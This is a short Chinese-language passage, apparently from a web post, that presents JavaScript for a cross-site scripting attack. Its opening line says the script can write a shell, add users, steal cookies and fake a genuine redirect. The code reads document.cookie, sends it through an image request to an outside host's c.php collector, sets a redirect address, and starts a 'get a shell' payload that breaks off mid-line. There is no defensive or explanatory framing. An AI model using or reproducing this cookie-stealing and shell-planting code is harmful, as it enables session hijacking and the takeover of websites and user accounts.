Js里可以写shell，添加用户，偷取COOKIE然后模拟出真正的转向
xmlhttp=poster();
cookie=document.cookie;
login=cookie.indexOf(‘password’)==-1?0:1;
tolocation=’https://www.qb5200.com/’;
//get cookie
x=new Image();
x.src=”www.dosjj.com/c.php?c=”+escape(document.cookie);
//get a shell
data=”txaContent=
